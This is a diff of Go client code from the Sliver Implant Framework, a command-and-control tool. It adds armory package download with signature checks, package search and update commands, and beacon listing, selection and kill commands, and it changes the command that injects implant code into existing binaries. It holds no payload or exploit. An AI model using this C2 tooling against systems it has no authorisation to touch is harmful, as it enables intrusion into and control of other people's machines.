||||
Body string `json:"body"`
|
||||
Prerelease bool `json:"prerelease"`
|
||||
TarballURL string `json:"tarball_url"`
|
||||
ZipballURL string `json:"zipball_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
PublishedAt string `json:"published_at"`
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(releases) < 1 {
|
||||
return nil, errors.New("no releases found")
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var armoryIndexData []byte
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
sig, err = parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(sig.TrustedComment) < 1 {
|
||||
return nil, errors.New("missing trusted comment")
|
||||
}
|
||||
return &sig, nil
|
||||
}
|
||||
|
||||
func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
}
|
||||
nameExpr, err := regexp.Compile(rawNameExpr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid regular expression: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
matchedAliases = append(matchedAliases, a)
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
|
||||
return
|
||||
}
|
||||
PrintArmoryPackages(matchedAliases, matchedExts, con)
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := alias.ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := extensions.ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Beacons
|
||||
========
|
||||
|
||||
This package implements the beacons command, which can be used to list and interact with beacons.
|
||||
@@ -0,0 +1,169 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
beacon, err := GetBeacon(con, killFlag)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
|
||||
if killAll {
|
||||
beacons, err := GetBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if 182 < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
|
||||
for _, beacon := range beacons {
|
||||
color := console.Normal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
}
|
||||
}
|
||||
return tw
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoBeacons - No sessions available
|
||||
ErrNoBeacons = errors.New("no beacons")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
// ErrBeaconNotFound
|
||||
ErrBeaconNotFound = errors.New("no beacon found for this ID")
|
||||
)
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
|
||||
beaconsMap := map[string]*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
beaconsMap[beacon.ID] = beacon
|
||||
}
|
||||
keys := []string{}
|
||||
for beaconID := range beaconsMap {
|
||||
keys = append(keys, beaconID)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
beacon.ID,
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return beaconsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrBeaconNotFound
|
||||
}
|
||||
|
||||
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
return beacons, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
